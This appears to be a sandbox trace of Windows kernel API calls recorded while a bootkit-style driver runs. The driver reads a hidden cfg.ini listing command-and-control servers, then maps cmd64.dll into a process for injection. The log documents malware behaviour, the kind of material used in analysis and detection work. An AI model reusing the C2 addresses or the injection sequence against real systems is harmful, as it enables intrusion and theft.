Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0096.021] IdePortDispatch () returned 0x103 [0096.021] KeWaitForMutexObject () returned 0x0 [0096.021] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.021] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.021] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.021] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0096.021] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0096.021] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038880e0 [0096.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.021] KeLeaveCriticalRegion () [0096.021] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.021] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0096.021] NtLockFile (in: FileHandle=0xffffffff800004f8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0096.021] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.021] KeEnterCriticalRegion () [0096.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.021] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0096.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.021] KeLeaveCriticalRegion () [0096.021] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0096.021] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.021] KeEnterCriticalRegion () [0096.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.022] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0096.022] IdePortDispatch () returned 0x103 [0096.022] KeWaitForMutexObject () returned 0x0 [0096.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.022] KeLeaveCriticalRegion () [0096.022] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.022] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015a6e40 [0096.022] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0096.022] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0096.022] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0096.022] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0096.022] ZwReadFile (in: FileHandle=0xffffffff800004f8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015a6e40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015a6e40*) returned 0x0 [0096.022] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.022] KeEnterCriticalRegion () [0096.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b73e40 [0096.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.022] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.022] IdePortDispatch () returned 0x103 [0096.022] KeWaitForMutexObject () returned 0x0 [0096.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.022] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.022] IdePortDispatch () returned 0x103 [0096.023] KeWaitForMutexObject () returned 0x0 [0096.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.023] KeLeaveCriticalRegion () [0096.023] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.023] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0096.023] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0096.023] strncpy (in: _Dest=0xfffffa80038b3de4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0096.023] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0096.023] ExFreePoolWithTag (P=0xfffff8a0015a6e40, Tag=0x0) [0096.023] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0096.023] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.023] KeEnterCriticalRegion () [0096.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.023] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.023] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038a9b10, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0096.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.023] KeLeaveCriticalRegion () [0096.023] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.023] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.023] KeEnterCriticalRegion () [0096.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.023] ExFreePoolWithTag (P=0xfffffa80038880e0, Tag=0x0) [0096.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.023] KeLeaveCriticalRegion () [0096.023] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.023] KeStackAttachProcess (in: PROCESS=0xfffffa80038a4aa0, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80038a4aa0, ApcState=0xfffff88002f9da58) [0096.023] _snwprintf (in: _Dest=0xfffffa80038b3bdc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0096.023] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0096.023] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0096.023] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.023] KeEnterCriticalRegion () [0096.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.023] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0096.023] IdePortDispatch () returned 0x103 [0096.024] KeWaitForMutexObject () returned 0x0 [0096.024] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.024] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.024] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.024] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.024] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.024] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.024] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.024] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.024] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.024] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.024] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.024] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038a67c0 [0096.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.024] KeLeaveCriticalRegion () [0096.024] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.024] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004f8 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0096.024] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.024] KeEnterCriticalRegion () [0096.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.024] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0096.024] IdePortDispatch () returned 0x103 [0096.024] KeWaitForMutexObject () returned 0x0 [0096.024] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.024] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.024] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.024] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.024] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.024] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.024] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.024] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.024] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.025] KeLeaveCriticalRegion () [0096.025] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.025] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004f0, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0096.025] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0096.025] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.025] KeEnterCriticalRegion () [0096.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b74000 [0096.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.025] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.025] IdePortDispatch () returned 0x103 [0096.025] KeWaitForMutexObject () returned 0x0 [0096.025] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.025] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.025] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.025] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.025] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.025] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.025] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.025] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.025] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.025] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.025] IdePortDispatch () returned 0x103 [0096.025] KeWaitForMutexObject () returned 0x0 [0096.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.026] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.026] IdePortDispatch () returned 0x103 [0096.026] KeWaitForMutexObject () returned 0x0 [0096.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.026] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.026] IdePortDispatch () returned 0x103 [0096.026] KeWaitForMutexObject () returned 0x0 [0096.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.026] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.026] IdePortDispatch () returned 0x103 [0096.026] KeWaitForMutexObject () returned 0x0 [0096.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.026] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.026] IdePortDispatch () returned 0x103 [0096.027] KeWaitForMutexObject () returned 0x0 [0096.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.027] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.027] IdePortDispatch () returned 0x103 [0096.027] KeWaitForMutexObject () returned 0x0 [0096.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.027] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.027] IdePortDispatch () returned 0x103 [0096.027] KeWaitForMutexObject () returned 0x0 [0096.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.027] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.027] IdePortDispatch () returned 0x103 [0096.028] KeWaitForMutexObject () returned 0x0 [0096.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.028] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.028] IdePortDispatch () returned 0x103 [0096.029] KeWaitForMutexObject () returned 0x0 [0096.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.029] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.029] IdePortDispatch () returned 0x103 [0096.029] KeWaitForMutexObject () returned 0x0 [0096.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.029] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.029] IdePortDispatch () returned 0x103 [0096.029] KeWaitForMutexObject () returned 0x0 [0096.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.029] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.029] IdePortDispatch () returned 0x103 [0096.030] KeWaitForMutexObject () returned 0x0 [0096.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.030] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.030] IdePortDispatch () returned 0x103 [0096.030] KeWaitForMutexObject () returned 0x0 [0096.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: 